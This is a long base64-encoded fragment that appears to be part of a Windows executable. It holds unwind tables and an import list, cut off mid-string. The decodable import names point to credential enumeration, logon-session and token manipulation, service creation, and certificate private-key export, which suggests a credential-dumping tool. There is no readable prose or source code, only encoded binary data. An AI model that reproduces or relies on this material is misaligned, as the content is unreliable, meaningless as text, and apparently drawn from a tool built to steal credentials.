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AAAAAAAAAAJJ7BgAAAAAAaHsGAAAAAACEewYAAAAAALZ7BgAAAAAApnsGAAAAAABSewYAAAAAAAAAAAAAAAAArH0GAAAAAADofQYAAAAAAMZ9BgAAAAAAmn0GAAAAAADWfQYAAAAAAAAAAAAAAAAAEQBHZXRNb2R1bGVJbmZvcm1hdGlvbgAAUFNBUEkuRExMALEAQ3J5cHRBY3F1aXJlQ29udGV4dFcAAMsAQ3J5cHRSZWxlYXNlQ29udGV4dADKAENyeXB0SW1wb3J0S2V5AAC3AENyeXB0RGVzdHJveUtleQC0AENyeXB0RGVjcnlwdAAAvwBDcnlwdEV4cG9ydEtleQAAvgBDcnlwdEVudW1Qcm92aWRlcnNXAMYAQ3J5cHRHZXRQcm92UGFyYW0AxABDcnlwdEdldEhhc2hQYXJhbQCzAENyeXB0Q3JlYXRlSGFzaAC2AENyeXB0RGVzdHJveUhhc2gAAMgAQ3J5cHRIYXNoRGF0YQCVAUxvb2t1cFByaXZpbGVnZU5hbWVXAAD3AU9wZW5Qcm9jZXNzVG9rZW4AAFoBR2V0VG9rZW5JbmZvcm1hdGlvbgCXAUxvb2t1cFByaXZpbGVnZVZhbHVlVwAfAEFkanVzdFRva2VuUHJpdmlsZWdlcwB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAL8CU2V0U2VydmljZU9iamVjdFNlY3VyaXR5AABDAEJ1aWxkU2VjdXJpdHlEZXNjcmlwdG9yVwAAJwJRdWVyeVNlcnZpY2VPYmplY3RTZWN1cml0eQAAkQFMb29rdXBBY2NvdW50U2lkVwDfAER1cGxpY2F0ZVRva2VuRXgAAK0CU2V0S2VybmVsT2JqZWN0U2VjdXJpdHkAIABBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAACABRnJlZVNpZABsAENvbnZlcnRTaWRUb1N0cmluZ1NpZFcAAFcAQ2xvc2VTZXJ2aWNlSGFuZGxlAADaAERlbGV0ZVNlcnZpY2UA+QFPcGVuU0NNYW5hZ2VyVwAA+wFPcGVuU2VydmljZVcAAMkCU3RhcnRTZXJ2aWNlVwBcAENvbnRyb2xTZXJ2aWNlAAABAUVudW1TZXJ2aWNlc1N0YXR1c0V4VwCAAUlzVGV4dFVuaWNvZGUAxQBDcnlwdEdldEtleVBhcmFtAADHAENyeXB0R2V0VXNlcktleQCMAENyZWRGcmVlAACJAENyZWRFbnVtZXJhdGVXAAAtAlJlYWRFbmNyeXB0ZWRGaWxlUmF3AABVAENsb3NlRW5jcnlwdGVkRmlsZVJhdwAfAlF1ZXJ5UmVjb3ZlcnlBZ2VudHNPbkVuY3J5cHRlZEZpbGUAAB4BRnJlZUVuY3J5cHRpb25DZXJ0aWZpY2F0ZUhhc2hMaXN0ACwCUXVlcnlVc2Vyc09uRW5jcnlwdGVkRmlsZQD0AU9wZW5FbmNyeXB0ZWRGaWxlUmF3VwBzAUltcGVyc29uYXRlTG9nZ2VkT25Vc2VyAG4CUmVnUXVlcnlWYWx1ZUV4VwAAYQJSZWdPcGVuS2V5RXhXADACUmVnQ2xvc2VLZXkAaAJSZWdRdWVyeUluZm9LZXlXAABPAlJlZ0VudW1LZXlFeFcAkAJSZXZlcnRUb1NlbGYAAIEAQ3JlYXRlU2VydmljZVcAAEFEVkFQSTMyLmRsbAAAPQJQb3N0VGhyZWFkTWVzc2FnZVcAAKgBR2V0V2luZG93VGhyZWFkUHJvY2Vzc0lkAADyAEVudW1XaW5kb3dzAC4DV2FpdEZvcklucHV0SWRsZQAAGQNVcGRhdGVXaW5kb3cAAMIBSW52YWxpZGF0ZVJlY3QAAFVTRVIzMi5kbGwAAB4AR2V0VXNlck5hbWVFeFcAACoATHNhRnJlZVJldHVybkJ1ZmZlcgArAExzYUdldExvZ29uU2Vzc2lvbkRhdGEAACkATHNhRW51bWVyYXRlTG9nb25TZXNzaW9ucwBTZWN1cjMyLmRsbABLAENlcnRHZXROYW1lU3RyaW5nVwAAVwBDZXJ0T3BlblN0b3JlAEAAQ2VydEZyZWVDZXJ0aWZpY2F0ZUNvbnRleHQAAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAABIAQ2VydENsb3NlU3RvcmUAAEYAQ2VydEdldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5AC8AQ2VydEVudW1TeXN0ZW1TdG9yZQAQAVBGWEV4cG9ydENlcnRTdG9yZUV4AAB5AENyeXB0QWNxdWlyZUNlcnRpZmljYXRlUHJpdmF0ZUtleQAsAENlcnRFbnVtQ2VydGlmaWNhdGVzSW5TdG9yZQBDUllQVDMyLmRsbABlAFBhdGhJc1JlbGF0aXZlVwA4AFBhdGhDYW5vbmljYWxpemVXADoAUGF0aENvbWJpbmVXAABTSExXQVBJLmRsbAAbAFdUU09wZW5TZXJ2ZXJXAAALAFdUU0VudW1lcmF0ZVByb2Nlc3Nlc1cAABIAV1RTRnJlZU1lbW9yeQAAAFdUU0Nsb3NlU2VydmVyAAARAFdUU0VudW1lcmF0ZVNlc3Npb25zVwBXVFNBUEkzMi5kbGwAAAYAQ29tbWFuZExpbmVUb0FyZ3ZXAABTSEVMTDMyLmRsbAA0BVdyaXRlRmlsZQCPAENyZWF0ZUZpbGVXAF0BRmx1c2hGaWxlQnVmZmVycwAACAJHZXRMYXN0RXJyb3IAAF